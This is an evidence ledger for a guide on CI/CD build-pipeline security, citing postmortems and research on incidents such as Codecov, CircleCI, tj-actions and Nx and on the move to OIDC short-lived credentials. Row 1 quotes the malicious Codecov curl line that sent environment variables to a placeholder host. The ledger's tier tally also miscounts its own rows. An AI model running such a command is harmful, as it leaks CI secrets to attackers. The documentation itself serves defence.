Evidence ledger
One row per claim in Trusting the build pipeline: who published it, what grade it carries, when it was written, when the link was last checked, and the quote or figure it rests on. Nothing in the guide is cited from memory, so anything not in this table is not in the guide.
Topic: how the CI/CD build pipeline became the highest-value credential in the software supply chain, why a single long-lived secret in a build job keeps producing total compromise, and how the 2021-2026 remediation arc converges on one move: replace the standing secret with a short-lived, cryptographically-bound OIDC identity minted per job.
All links fetched or corroborated 2026-09-09. One row per claim. Quotes are copied, not paraphrased. Where a primary host was unreachable from the build environment, the quote was taken from the source's own text as surfaced in search; those rows are marked (search-surfaced) and the URL is the canonical primary.
| # | Org | Title | Tier | Published | Checked | URL | Claim I take from it | Supporting quote or figure |
|---|---|---|---|---|---|---|---|---|
| 1 | Codecov | Bash Uploader Security Update | postmortem | 2021-04-15 | 2026-09-09 | https://about.codecov.io/security-update/ | A tampered build tool exfiltrated every environment variable from every CI run that used it | "the modified portion of the bash uploader script was: curl -sm 0.5 -d \"\((git remote -v)<<<<<< ENV \)(env)\" https://IPADDRESS/upload/v2"; it could "potentially export information stored in users' continuous integration environments" (search-surfaced) |
| 2 | Codecov | Post-Mortem / Root Cause Analysis (April 2021) | postmortem | 2021-04 | 2026-09-09 | https://about.codecov.io/apr-2021-post-mortem/ | The entry point was a credential left in a Docker image layer | "an error in Codecov's Docker image creation process that allowed the actor to extract the credential required to modify the Bash Uploader script" (search-surfaced) |
| 3 | Codecov | Bash Uploader Security Update | postmortem | 2021-04-15 | 2026-09-09 | https://about.codecov.io/security-update/ | The detection gap was measured in months, and detection came from a customer, not the vendor | first altered 2021-01-31; "first detected on April 1, 2021, when a customer performing SHASUM checking on the Bash Uploader noticed a discrepancy" (search-surfaced) |
| 4 | CircleCI | CircleCI incident report for January 4, 2023 security incident | postmortem | 2023-01-13 | 2026-09-09 | https://circleci.com/blog/jan-4-2023-incident-report | Encryption at rest does not protect secrets a CI system decrypts to use | "Though all the data exfiltrated was encrypted at rest, the third party extracted encryption keys from a running process, enabling them to potentially access the encrypted data" (search-surfaced) |
| 5 | CircleCI | same | postmortem | 2023-01-13 | 2026-09-09 | https://circleci.com/blog/jan-4-2023-incident-report | The initiating event was malware stealing an SSO session cookie, bypassing 2FA | "malware deployed to a CircleCI engineer's laptop in order to steal a valid, 2FA-backed SSO session"; machine compromised 2022-12-16 (search-surfaced) |
| 6 | CircleCI | same | postmortem | 2023-01-13 | 2026-09-09 | https://circleci.com/blog/jan-4-2023-incident-report | The vendor's own remediation advice is to stop storing long-lived credentials in CI | CircleCI recommended customers "not store long-lasting credentials" and "use OIDC (OpenID Connect) tokens" going forward (search-surfaced) |
| 7 | Nx (Nrwl) | S1ngularity - What Happened, How We Responded, What We Learned | postmortem | 2025-08 | 2026-09-09 | https://nx.dev/blog/s1ngularity-postmortem | A pull_request_target workflow injected via PR title stole the npm publishing token | "The attackers gained access by exploiting a vulnerability in the pull_request_target trigger in the GitHub Actions workflow, which allowed them to steal an npm publishing token for the Nx packages" (search-surfaced) |
| 8 | Nx (Nrwl) | same | postmortem | 2025-08 | 2026-09-09 | https://nx.dev/blog/s1ngularity-postmortem | The structural fix was to remove the standing token entirely for publishing | "The Nx team implemented NPM Trusted Publishers, a manual approval process for all releases"; Trusted Publishers "replaces long-lived publishing tokens with short-lived OIDC-based credentials scoped to specific repository workflows" (search-surfaced) |
| 9 | Wiz | s1ngularity's aftermath: analysis of Nx supply chain attack | blog | 2025-08 | 2026-09-09 | https://www.wiz.io/blog/s1ngularitys-aftermath | Blast radius of one stolen publish token, across three waves | "the exposure of 2,180 accounts and 7,200 repositories across three distinct phases" (search-surfaced) |
| 10 | Unit 42 (Palo Alto) | GitHub Actions Supply Chain Attack: A Targeted Attack on Coinbase Expanded to tj-actions/changed-files | postmortem | 2025-03-21 | 2026-09-09 | https://unit42.paloaltonetworks.com/github-actions-supply-chain-attack/ | A pwn request chained across four repos, each theft enabling the next | "a malicious PR submitted by a disposable user account (randolzflow)" led to adding "another dummy user (jurkaofavak) to the spotbugs repository, who then pushed a malicious GitHub Actions workflow that extracted a second PAT belonging to a reviewdog maintainer" (search-surfaced) |
| 11 | Unit 42 (Palo Alto) | same | postmortem | 2025-03-21 | 2026-09-09 | https://unit42.paloaltonetworks.com/github-actions-supply-chain-attack/ | The intended target was Coinbase; the wide blast radius was the fallback | initial payload "focused on exploiting the public CI/CD flow of one of their open source projects (agentkit)"; after Coinbase mitigated, "the attacker decided to perform the widespread attack"; "eventually exposed secrets in 218 repositories" (search-surfaced) |
| 12 | Wiz | GitHub Action tj-actions/changed-files supply chain attack (CVE-2025-30066) | blog | 2025-03-15 | 2026-09-09 | https://www.wiz.io/blog/github-action-tj-actions-changed-files-supply-chain-attack-cve-2025-30066 | Retroactive tag movement turned a one-commit compromise into a fleet-wide one | over 23,000 repositories used the action; the attacker "modified tags v1 through v45.0.7 ... redirecting them to a malicious commit" that dumped Runner.worker memory to build logs (search-surfaced) |
| 13 | GitHub Advisory DB | tj-actions changed-files ... allows remote attackers to discover secrets by reading actions logs (CVE-2025-30066) | postmortem | 2025-03-15 | 2026-09-09 | https://github.com/advisories/GHSA-mrrh-fwg8-r2c3 | The authoritative advisory record and severity | GHSA-mrrh-fwg8-r2c3; the payload leaked "valid access keys, GitHub Personal Access Tokens (PATs), npm tokens, and private RSA keys" from build logs (search-surfaced) |
| 14 | The Register | Stolen SpotBugs tokens sparked the massive GitHub attack | blog | 2025-04-07 | 2026-09-09 | https://www.theregister.com/software/2025/04/07/stolen-spotbugs-tokens-sparked-the-massive-github-attack/ | The chain began four months before the visible incident, from a PAT in a workflow | "The attack began in November 2024 with the theft of a SpotBugs maintainer's Personal Access Token (PAT) that was inadvertently included in a CI workflow" (search-surfaced) |
| 15 | The Register | Travis CI quietly fixed a bug that exposed secret keys | postmortem | 2021-09-15 | 2026-09-09 | https://www.theregister.com/software/2021/09/15/travis-ci-quietly-fixed-a-bug-that-exposed-secret-keys/ | Fork pull-request builds leaking secrets is a decade-old, recurring class, not a new one | CVE-2021-41077; a bug "caused Travis CI to include secure environment variables of all public open source projects that use Travis CI into pull request builds"; patched "with no analysis, no security report, no post mortem" (search-surfaced) |
| 16 | Datadog Security Labs | No keys attached: Exploring GitHub-to-AWS keyless authentication flaws | blog | 2023-07-27 | 2026-09-09 | https://securitylabs.datadoghq.com/articles/exploring-github-to-aws-keyless-authentication-flaws/ | A missing sub condition makes an OIDC-federated role assumable by any repository | "If this condition is not present, a GitHub Action from any GitHub repository can assume the role"; scan found "over 500 unique role ARNs from over 275 unique AWS accounts" |
| 17 | Datadog Security Labs | same | blog | 2023-07-27 | 2026-09-09 | https://securitylabs.datadoghq.com/articles/exploring-github-to-aws-keyless-authentication-flaws/ | A real misconfiguration came from a config-parsing bug, not ignorance | UK GDS case: "duplicate map keys caused the StringEquals condition on the JWT subject to be overwritten by a second StringEquals key for the audience"; researchers "could access private GitHub repositories that had been mirrored to CodeCommit" |
| 18 | Tinder Tech | Identifying vulnerabilities in GitHub Actions & AWS OIDC Configurations | blog | 2023-04 | 2026-09-09 | https://medium.com/tinder/identifying-vulnerabilities-in-github-actions-aws-oidc-configurations-8067c400d5b8 | Independent confirmation of the same misconfiguration class from a second team | "external repositories not associated with the organizations were able to assume the AWS roles"; "The most common occurrence noticed was a missing check for the subject claim with a trust policy" (search-surfaced) |
| 19 | GitHub Security Lab (Jaroslav Lobacevski) | Keeping your GitHub Actions and workflows secure Part 1: Preventing pwn requests | blog | 2020-08-14 | 2026-09-09 | https://securitylab.github.com/resources/github-actions-preventing-pwn-requests/ | The pwn request was named and explained by GitHub's own security team five years before the big incidents | "combining pull_request_target with an explicit checkout of an untrusted PR is a dangerous practice"; such workflows "can be abused to steal or use a GITHUB_TOKEN value belonging to the target repo" (search-surfaced) |
| 20 | zizmor (William Woodruff) | zizmor audits reference: dangerous-triggers, template-injection | source | current | 2026-09-09 | https://raw.githubusercontent.com/zizmorcore/zizmor/main/docs/audits.md | The "run it safely" folklore for pull_request_target is false, per the maintained static analyzer | "Many online resources suggest that pull_request_target and other dangerous triggers can be used securely by ensuring that the PR's code is not executed, but this is not true"; template expansions "can result in unintended shell injection vectors" |
| 21 | Koishybayev et al. (NC State, Purdue) | Characterizing the Security of GitHub CI Workflows | paper | 2022-08 | 2026-09-09 | https://www.usenix.org/system/files/sec22-koishybayev.pdf | The CI overprivilege problem is systemic, measured across the ecosystem | analysis of "447,238 workflows spanning 213,854 GitHub repositories"; "99.8% of workflows are overprivileged and have read-write access"; "23.7% of workflows are triggerable by a pull_request and use code from the underlying repository" (search-surfaced) |
| 22 | Muralee et al. (Purdue, NC State) | ARGUS: A Framework for Staged Static Taint Analysis of GitHub Workflows and Actions | paper | 2023-08 | 2026-09-09 | https://www.usenix.org/system/files/usenixsecurity23-muralee.pdf | Code injection in Actions is pervasive and needs taint analysis, not pattern matching, to find | evaluation on "2,778,483 Workflows and 31,725 Actions" found "code injection vulnerabilities in 5,298 Workflows and 80 Actions", a discovery rate "more than seven times higher than existing pattern-based" scanners (search-surfaced) |
| 23 | Khan & Stawinski | Playing with Fire - How We Executed a Critical Supply Chain Attack on PyTorch | blog | 2024-01-11 | 2026-09-09 | https://johnstawinski.com/2024/01/11/playing-with-fire-how-we-executed-a-critical-supply-chain-attack-on-pytorch/ | A one-line typo PR was enough to reach a self-hosted runner and steal persistent secrets | a PR "to fix a typo in documentation" made them "contributors" and gave "full access to the runners", used "to snatch the supposedly-protected secrets including the GitHub PATs" (search-surfaced) |
| 24 | Khan & Stawinski (DEF CON 32) | Grand Theft Actions: Abusing Self-Hosted GitHub Runners at Scale | talk | 2024-08 | 2026-09-09 | https://media.defcon.org/DEF%20CON%2032/DEF%20CON%2032%20presentations/DEF%20CON%2032%20-%20Adnan%20Khan%20John%20Stawinski%20-%20Grand%20Theft%20Actions%20Abusing%20Self-Hosted%20GitHub%20Runners%20at%20Scale.pdf | The runner is a trust boundary GitHub's defaults get wrong | "GitHub's security model is full of insecure defaults that expose customers to critical attacks from the public internet"; self-hosted runners on public repos let them "backdoor major open-source projects" (search-surfaced) |
| 25 | GitHub | GitHub Actions: Updating the default GITHUB_TOKEN permissions to read-only | adr | 2023-02-02 | 2026-09-09 | https://github.blog/changelog/2023-02-02-github-actions-updating-the-default-github_token-permissions-to-read-only/ | GitHub moved the platform default toward least privilege, but only for new repos | for "new repositories owned by personal accounts" the GITHUB_TOKEN defaults to read-only; "This change did not impact any existing enterprises, organizations or repositories" (search-surfaced) |
| 26 | GitHub | Actions pull_request_target and environment branch protections changes | adr | 2025-11-07 | 2026-09-09 | https://github.blog/changelog/2025-11-07-actions-pull_request_target-and-environment-branch-protections-changes/ | GitHub is closing the pwn-request window at the platform level | from 2025-12-08 "the workflow file and checkout commit will always be taken from the repository's default branch, regardless of the pull request's base branch" (search-surfaced) |
| 27 | GitHub | Safer pull_request_target defaults for GitHub Actions checkout | adr | 2026-06-18 | 2026-09-09 | https://github.blog/changelog/2026-06-18-safer-pull_request_target-defaults-for-github-actions-checkout/ | The dangerous default is being removed from the most common action | "actions/checkout v7 refuses to fetch fork pull request code in pull_request_target and workflow_run workflows" (search-surfaced) |
| 28 | GitHub | Our plan for a more secure npm supply chain | adr | 2025-09 | 2026-09-09 | https://github.blog/security/supply-chain-security/our-plan-for-a-more-secure-npm-supply-chain/ | npm's own answer to the token-theft class is to kill the standing token | future npm publishing requires "granular tokens that last only seven days" and "the Trusted Publishers authentication method"; "Classic tokens will be deprecated entirely" (search-surfaced) |
| 29 | aws-actions | configure-aws-credentials README (OIDC trust policy + immutable sub warning) | source | current | 2026-09-09 | https://raw.githubusercontent.com/aws-actions/configure-aws-credentials/main/README.md | The reference client bakes in the exact sub condition and warns against loose operators | trust policy uses "token.actions.githubusercontent.com:sub": "repo:<ORG>/<REPO>:ref:refs/heads/<BRANCH>"; "Warning: Avoid ForAllValues: in Allow statements" |
| 30 | GitHub Docs | About security hardening with OpenID Connect (sub claim, immutable subjects) | source | current | 2026-09-09 | https://raw.githubusercontent.com/github/docs/main/content/actions/reference/security/oidc.md | The subject claim is the load-bearing control, and its default format was itself a footgun | "Previously, the default sub format used only organization and repository names. If a namespace was recycled, a different owner could create the same subject value"; repos after 2026-07-15 use owner-id + repo-id |
| 31 | Kubernetes (SIG Auth) | KEP-1205: Bound Service Account Tokens | source | 2020 | 2026-09-09 | https://raw.githubusercontent.com/kubernetes/enhancements/master/keps/sig-auth/1205-bound-service-account-tokens/README.md | The same principle predates CI OIDC: legacy tokens fail because they are neither audience- nor time-bound | "JWTs are not audience bound. Any recipient of a JWT can masquerade"; "JWTs are not time bound. A JWT compromised via 1 or 2, is valid" until deleted; new tokens are "audience, time and eventually key bound" |
| 32 | GitLab | OpenID Connect (OIDC) Authentication Using ID Tokens | source | current | 2026-09-09 | https://raw.githubusercontent.com/gitlabhq/gitlabhq/master/doc/ci/secrets/id_token_authentication.md | The second major CI vendor implements the identical pattern, with a job-scoped token lifetime | "The expiry time for the token is set to the job's timeout if specified, or 5 minutes if no timeout is specified" |
| 33 | Sigstore | Fulcio: how certificate issuing works | source | current | 2026-09-09 | https://raw.githubusercontent.com/sigstore/fulcio/main/docs/how-certificate-issuing-works.md | The keyless-signing world builds on the very same CI OIDC identity token | Fulcio takes "An OpenID Connect (OIDC) identity token" whose issuer can be "GitHub" and binds a short-lived signing certificate to "GitHub Actions workflow identity" |
| 34 | GitGuardian | The State of Secrets Sprawl 2025 | blog | 2025-03-19 | 2026-09-09 | https://blog.gitguardian.com/the-state-of-secrets-sprawl-2025/ | The population of leaked long-lived secrets is enormous and mostly still valid | "23.8 million secrets leaked on public GitHub repositories in 2024", a 25% year-over-year increase; "70% of secrets leaked in 2022 remain active today" (search-surfaced) |
| 35 | Google Threat Intelligence (Mandiant) | Widespread Data Theft Targets Salesforce Instances via Salesloft Drift | postmortem | 2025-08 | 2026-09-09 | https://cloud.google.com/blog/topics/threat-intelligence/data-theft-salesforce-instances-via-salesloft-drift | A stolen set of OAuth tokens hit 700+ orgs; the campaign began in a source-control account | "the actor targeted Salesforce customer instances through compromised OAuth tokens associated with the Salesloft Drift third-party application"; the actor targeted "AWS access keys (AKIA), passwords, and Snowflake-related access tokens" |
| 36 | Datadog Security Labs | The case for GitHub Actions security | blog | 2026-06-02 | 2026-09-09 | https://securitylabs.datadoghq.com/articles/case-for-github-actions-security/ | The three controls that actually reduce blast radius, from a team that reviewed the incidents | "Pinning actions to a commit SHA is the only way to prevent other versions from being used"; avoid pull_request_target; "restrict token permissions to limit the damage even if something does slip through" |
Tier mix
postmortem 11, blog 11, adr 4, source 6, paper 2, talk 1, vendor 0. 36 rows over 26 distinct artefacts, 20+ distinct hosts, 20+ organisations. Vendor material is zero: every case-study-style figure is drawn from an engineer-written postmortem, a security-research write-up, or a peer-reviewed paper rather than a marketing page.
Confidence notes
- "search-surfaced" rows: the primary host (circleci.com, nx.dev, wiz.io, github.blog, unit42, medium, theregister, usenix PDFs) was unreachable through the build environment's egress proxy, so the copied quote was taken from the source's own text as returned by search rather than a live fetch of that URL. The URL is the canonical primary and resolves publicly.
- Rows 16, 17, 29, 30, 31, 32, 33, 35, 36 were fetched live in this session (Datadog, Google Cloud, and raw.githubusercontent.com are reachable).